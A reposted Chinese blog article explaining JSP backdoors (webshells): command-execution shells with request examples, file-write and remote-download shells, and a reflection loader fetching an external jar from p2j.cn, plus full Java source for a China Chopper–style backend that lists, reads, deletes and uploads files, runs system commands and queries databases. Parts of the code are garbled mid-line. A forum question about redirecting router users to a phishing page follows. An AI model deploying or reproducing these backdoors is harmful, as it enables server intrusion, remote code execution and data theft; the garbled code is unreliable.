一：执行系统命令:
无回显执行系统命令：
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
执行之后不会有任何回显，用来反弹个shell很方便。
有回显带密码验证的:
");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
二、把字符串编码后写入指定文件的：
1:
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
写入web目录：
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
写入web目录:
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)
请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
下载到web路径:
请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
四：反射调用外部jar,完美后门
如果嫌弃上面的后门功能太弱太陈旧可以试试这个：
请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar，密码023.
解：
利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。
下载：Cat.jar (rar)
Load代码：
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author yz
*/
public class Load {
public static String load(Map map){
try {
Map request = new HashMap();
for (Entry entrySet : map.entrySet()) {
String key = entrySet.getKey();
String value = entrySet.getValue()[0];
request.put(key, value);
}
return new Chopper().doPost(request);
} catch (IOException ex) {
return ex.toString();
}
}
}
Chopper代码：
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Map;
public class Chopper{
public static String getPassword() throws IOException {
return "023";
}
String cs = "UTF-8";
String encoding(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"), cs);
}
Connection getConnection(String s) throws Exception {
String[] x = s.trim().split("rn");
try {
Class.forName(x[0].trim());
} catch (ClassNotFoundException e) {
boolean classNotFound = true;
BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));
String str = "";
while ((str = br.readLine()) != null) {
String[] arr = str.split("=");
if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {
try {
URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
m.setAccessible(true);
m.invoke(ucl, new Object[]{new URL(arr[1])});
Class.forName(arr[0].trim());
classNotFound = false;
break;
} catch (ClassNotFoundException ex) {
throw ex;
}
}
}
if (classNotFound) {
throw e;
}
}
if (x[1].contains("jdbc:oracle")) {
return DriverManager.getConnection(x[1].trim() + ":" + x[4],
x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
} else {
Connection c = DriverManager.getConnection(x[1].trim(),
x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void listRoots(ByteArrayOutputStream out) throws Exception {
File r[] = File.listRoots();
for (File f : r) {
out.write((f.getName()).getBytes(cs));
}
}
void dir(String s, ByteArrayOutputStream out) throws Exception {
File l[] = new File(s).listFiles();
for (File f : l) {
String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));
String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");
out.write((f.getName() + (f.isDirectory() ? "/" : "") + "t" + mt + "t" + f.length() + "t" + rw + "n").getBytes(cs));
}
}
void deleteFiles(File f) throws Exception {
if (f.isDirectory()) {
File x[] = f.listFiles();
for (File fs : x) {
deleteFiles(fs);
}
}
f.delete();
}
byte[] readFile(String s) throws Exception {
int n;
byte[] b = new byte[1024];
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
while ((n = bis.read(b)) != -1) {
bos.write(b, 0, n);
}
bis.close();
return bos.toByteArray();
}
void upload(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});
while (r.next()) {
out.write((r.getObject("TABLE_NAME") + "t").getBytes(cs));
}
r.close();
c.close();
}
void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {
String[] x = s.trim().split("rn");
Connection c = getConnection(s);
ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i request) throws IOException {
cs = request.get("z0") != null ? request.get("z0") + "" : cs;
ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
char z = (char) request.get(getPassword()).getBytes()[0];
String z1 = encoding(request.get("z1") + "");
String z2 = encoding(request.get("z2") + "");
out.write("->|".getBytes(cs));
String s = new File("").getCanonicalPath();
byte[] returnTrue = "1".getBytes(cs);
switch (z) {
case 'A':
out.write((s + "t").getBytes(cs));
if (!s.substring(0, 1).equals("/")) {
listRoots(out);
}
break;
case 'B':
dir(z1, out);
break;
case 'C':
String l = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while ((l = br.readLine()) != null) {
out.write((l + "rn").getBytes(cs));
}
br.close();
break;
case 'D':
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.flush();
bw.close();
out.write(returnTrue);
break;
case 'E':
deleteFiles(new File(z1));
out.write("1".getBytes(cs));
break;
case 'F':
out.write(readFile(z1));
case 'G':
upload(z1, z2);
out.write(returnTrue);
break;
case 'H':
filesMove(new File(z1), new File(z2));
out.write(returnTrue);
break;
case 'I':
fileMove(new File(z1), new File(z2));
out.write(returnTrue);
break;
case 'J':
mkdir(new File(z1));
out.write(returnTrue);
break;
case 'K':
setLastModified(new File(z1), z2);
out.write(returnTrue);
break;
case 'L':
downloadRemoteFile(z1, z2);
out.write(returnTrue);
break;
case 'M':
String[] c = {z1.substring(2), z1.substring(0, 2), z2};
Process p = Runtime.getRuntime().exec(c);
inputStreamToOutPutStream(p.getInputStream(), out);
inputStreamToOutPutStream(p.getErrorStream(), out);
break;
case 'N':
getCurrentDB(z1, out);
break;
case 'O':
getTableName(z1, out);
break;
case 'P':
getTableColumn(z1, out);
break;
case 'Q':
executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\", "/") + "images/");
break;
}
} catch (Exception e) {
out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));
}
out.write(("|
map.txt:
oracle.jdbc.driver.OracleDriver=http://p2j.cn/jdbc/classes12.jar
com.mysql.jdbc.Driver=http://p2j.cn/jdbc/mysql-connector-java-5.1.14-bin.jar
com.microsoft.jdbc.sqlserver.SQLServerDriver=http://p2j.cn/jdbc/sqlserver2000/msbase.jar,http://p2j.cn/jdbc/sqlserver2000/mssqlserver.jar,http://p2j.cn/jdbc/sqlserver2000/msutil.jar
com.microsoft.sqlserver.jdbc.SQLServerDriver=http://p2j.cn/jdbc/sqljdbc4.jar
com.ibm.db2.jcc.DB2Driver=http://p2j.cn/jdbc/db2java.jar
com.informix.jdbc.IfxDriver=http://p2j.cn/jdbc/ifxjdbc.jar
com.sybase.jdbc3.jdbc.SybDriver=http://p2j.cn/jdbc/jconn3d.jar
org.postgresql.Driver=http://p2j.cn/jdbc/postgresql-9.2-1003.jdbc4.jar
com.ncr.teradata.TeraDriver=http://p2j.cn/jdbc/teradata-jdbc4-14.00.00.04.jar
com.hxtt.sql.access.AccessDriver=http://p2j.cn/jdbc/Access_JDBC30.jar
org.apache.derby.jdbc.ClientDriver=http://p2j.cn/jdbc/derby.jar
org.hsqldb.jdbcDriver=http://p2j.cn/jdbc/hsqldb.jar
net.sourceforge.jtds.jdbc.Driver=http://p2j.cn/jdbc/jtds-1.2.5.jar
mongodb=http://p2j.cn/jdbc/mongo-java-driver-2.9.3.jar
文章来源于lcx.cc:Jsp 小后门，Jsp 一句话木马后门详解
进入了路由器怎么让ta进入我的钓鱼网页？ 小龙 | 2013-12-15 23:12 连接了wifi进路由器的，弱口令进去的 就是说可以搞别的吗，除了dns劫持或者什么的，求助，wb感谢，dns劫持也说下啊。小菜不经常玩路由╭(╯ε╰)╮ 在线等大牛，方法可行…
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论